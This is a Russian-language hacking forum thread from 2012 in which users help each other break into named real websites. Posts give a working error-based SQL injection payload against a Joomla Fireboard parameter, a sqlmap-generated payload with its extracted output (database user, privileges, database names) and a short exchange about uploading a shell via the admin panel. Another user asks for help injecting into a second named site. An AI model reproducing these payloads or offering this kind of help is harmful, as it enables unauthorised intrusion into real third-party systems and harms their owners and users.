15.08.2012, 08:37
|
|
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами:
7941206
Репутация:
0
|
|
Помогите раскрутить
Пробывал sqlmap'ом.
http://www.fanatnauki.ru/index.php?option=com_fireboard&Itemid=8&func=view
|
|
|
15.08.2012, 11:53
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от [ Dumi
"]
[ Dumi ] said:
Не получается
http://www.fanatnauki.ru/index.php
?option=com_fireboard
&Itemid=8
&func=view
&task=showprf',(extractvalue(1,concat(0x3a,version ()))),1,2,3,4)-- xyi
upd. главное после --ПРОБЕЛ надо какой-то ещё символ поставить, а то trim убирает пробел
|
|
|
|
15.08.2012, 19:14
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Ups
Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.
Сообщение от None
option=com_fireboard&Itemid=8&func=view&task=showp rf' AND (SELECT 4499 FROM(SELECT COUNT(*),CONCAT(0x3a7871773a,(SELECT (CASE WHEN (4499=4499) THEN 1 ELSE 0 END)),0x3a7361703a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'dEci'='dEci
current user: 'kubrikov_fn@localhost'
Сообщение от None
database management system users privileges:
kubrikov_fn'@'localhost
privilege: USAGE
available databases
information_schema
kubrikov_fn
|
|
|
|
15.08.2012, 19:43
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от Teratex
Ups
Плохо значит пробовал, мапом нужно научиться пользоваться, это не HAvij, но куда более мощный и гибкий.
current user: 'kubrikov_fn@localhost'
Он не знал, что скуль в другом параметре - task.
Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
|
|
|
|
15.08.2012, 19:57
|
|
Участник форума
Регистрация: 11.04.2011
Сообщений: 113
С нами:
7941206
Репутация:
0
|
|
Сообщение от Melfis
Зы. смысл было повторно постить раскрутку ещё и более длинным способом...
Дайте покороче способ, если есть. Спасибо.
|
|
|
|
15.08.2012, 20:07
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от Ups
Дайте покороче способ, если есть.
Спасибо.
/showpost.php?p=3243868&postcount=21172
Выше разве не он?
|
|
|
|
15.08.2012, 21:04
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Ups
Я дал ему способ для мапа и как пример показал что можно и мапом, а что использовать дело хозяйское, вот для того и запостил.
|
|
|
|
16.08.2012, 00:17
|
|
Познающий
Регистрация: 16.01.2011
Сообщений: 71
С нами:
8063606
Репутация:
-1
|
|
Сообщение от Teratex
pirat0
А заливать каким путем собираешься? через админку или есть локальный инклюд?
через админку
|
|
|
|
16.08.2012, 02:37
|
|
Новичок
Регистрация: 14.08.2012
Сообщений: 3
С нами:
7234166
Репутация:
0
|
|
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
|
|
|
|
16.08.2012, 02:40
|
|
Новичок
Регистрация: 01.08.2012
Сообщений: 7
С нами:
7252886
Репутация:
0
|
|
Сообщение от Nightfall
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
Там по моему фильтр на union select
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
